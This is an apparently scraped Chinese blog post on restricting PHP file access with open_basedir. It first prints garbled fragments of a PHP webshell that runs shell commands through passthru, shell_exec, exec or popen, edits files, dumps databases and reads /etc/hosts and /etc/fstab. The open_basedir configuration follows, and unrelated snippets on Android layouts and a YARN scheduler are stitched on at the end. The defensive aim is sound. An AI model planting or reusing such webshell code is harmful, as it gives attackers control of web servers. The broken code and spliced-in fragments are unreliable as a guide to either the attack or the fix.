php open basedir設定防止跨站

2021-07-26 13:10:12 字數 4225 閱讀 6825

通過在**掛馬,進入到php的目錄,如果php開啟了scandir方法的話,可以直接通過目錄一級一級的像上面進入,此操作會造成很大的風險。

下面給出php的木馬檔案

p('獲得外掛程式

');formfooter();

}//end eval

elseif ($act == 'editfile') //end editfile

elseif ($act == 'newtime') //end newtime

elseif ($act == 'shell') //end shell

elseif ($act == 'phpenv') //end phpenv

elseif ($act == 'secinfo')

secparam('userful',implode(', ',$temp));

$temp=array();

foreach($danger as $item)

if(which($item))

secparam('danger',implode(', ',$temp));

$temp=array();

foreach($**********s as $item)

if(which($item))

secparam('**********s',implode(', ',$temp));

secparam('hosts',@file_get_contents('/etc/hosts'));

secparam('hddspace', execute('df -h'));

secparam('mountoptions', @file_get_contents('/etc/fstab'));

}else //end

else elseif(function_exists('passthru')) elseif(function_exists('shell_exec')) elseif(function_exists('exec')) elseif(@is_resource($f = @popen($cfe,"r"))) elseif (!is_writable($f)) else

elseif(($mode & 0x4000) === 0x4000)

elseif(($mode & 0xa000) === 0xa000)

elseif(($mode & 0x8000) === 0x8000)

elseif(($mode & 0x6000) === 0x6000)

elseif(($mode & 0x2000) === 0x2000)

elseif(($mode & 0x1000) === 0x1000)

else

$owner['read']= ($mode & 00400) ? 'r' : '-';

$owner['write']= ($mode & 00200) ? 'w' : '-';

$owner['execute']= ($mode & 00100) ? 'x' : '-';

$group['read']= ($mode & 00040) ? 'r' : '-';

$group['write']= ($mode & 00020) ? 'w' : '-';

$group['execute']= ($mode & 00010) ? 'x' : '-';

$world['read']= ($mode & 00004) ? 'r' : '-';

$world['write']= ($mode & 00002) ? 'w' : '-';

$world['execute']= ($mode & 00001) ? 'x' : '-';

if($mode & 0x800 )

if($mode & 0x400 )

if($mode & 0x200 )

return$type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];

function getuser($file)   elseif(is_file($c.$f)) else else else elseif ($result == 1) else else else else else if(is_resource($res)) else else elseif (strpos($tabledump, "(\n ")) elseif (strpos($tabledump, "(\r ")) else elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type !='timestamp' && !$fields_meta[$j]->blob) elseif ($fields_meta[$j]->blob) else else else {

echo$tabledump;

$this->free_result($rows);

將上面的php檔案掛到web下面,輸入密碼(密碼在php的配置檔案中已經寫好),就可以進入到web目錄下面去了。

如此發現可以進行跨站的操作了。

如果我們想禁止這些操作,將使用者的操作目錄限制在某個下面,可以在php的配置檔案中實現此操作

[host=www.abc.com]

open_basedir=/path/for/web:/var/lib/php/session(php的session目錄):/tmp

[path=/path/for/web]

open_basedir=/path/for/web:/var/lib/php/session:/tmp

限制的目錄可以是多個,多個目錄之間利用冒號進行分隔開,之後重啟php可以了。重新訪問掛的木馬檔案,發現此時不能再向上級目錄進行訪問了,也就是我們的操作被所在了opendir的目錄下面了。

android layout weight設定解讀

參考文章 android layout weight的真實含義是 一旦view設定了該屬性 假設有效的情況下 那麼該 view的寬度等於原有寬度 android layout width 加上其在剩餘空間中的佔比!設螢幕寬度為l,在兩個view的寬度都為match parent的情況下,原有寬度為l...

Android RecyclerView設定空布局

1 自定義乙個emptyrecyclerview繼承recyclerview 2 採用adapterdataobserver觀察者模式來監聽資料的變化,如果有資料就隱藏空布局,反之,則顯示。view memptyview private adapterdataobserver emptyobserv...

Capacity Scheduler 佇列設定

先附乙個官網位址 capacity scheduler是yarn中預設的資源排程器。資源分配相關引數 1 capacity 佇列的資源容量 百分比 當系統非常繁忙時,應保證每個佇列的容量得到滿足,而如果每個佇列應用程式較少,可將剩餘資源共享給其他佇列。注意,所有佇列的容量之和應小於100。2 max...